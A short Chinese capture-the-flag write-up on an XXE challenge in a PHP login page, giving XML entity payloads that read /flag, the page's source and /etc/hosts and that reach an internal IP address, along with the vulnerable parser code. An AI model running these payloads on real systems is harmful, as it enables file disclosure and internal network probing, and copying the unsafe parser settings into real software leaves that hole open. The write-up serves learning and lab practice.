前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
题目
进到去跟fack那个题目差不多,直接用那里的payload看看
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "file:///flag">
]>
<user><username>&abc;</username><password>123456</password></user>
发现不能读,但是报错提示里面发现本页面的名字doLogin.php,试试读源码
居然能读!
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
里面没看到什么,只能去看看wp,发现一些很匪夷所思的操作,先是读取/etc/hosts
居然也能读,那多半说明是没有/flag这个文件才报的错,但更看不懂的来了,它必须访问这边显示的10.44.214.9的下一个ip,即10.44.214.10这个ip才能获取到flag,而且XXE居然能用来访问内网ip…
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY abc SYSTEM "http://10.44.214.10">
]>
<user><username>&abc;</username><password>123456</password></user>
总的来说,主机上面没有flag,需要去看hosts文件看看内网的主机是否有flag,这个操作学到了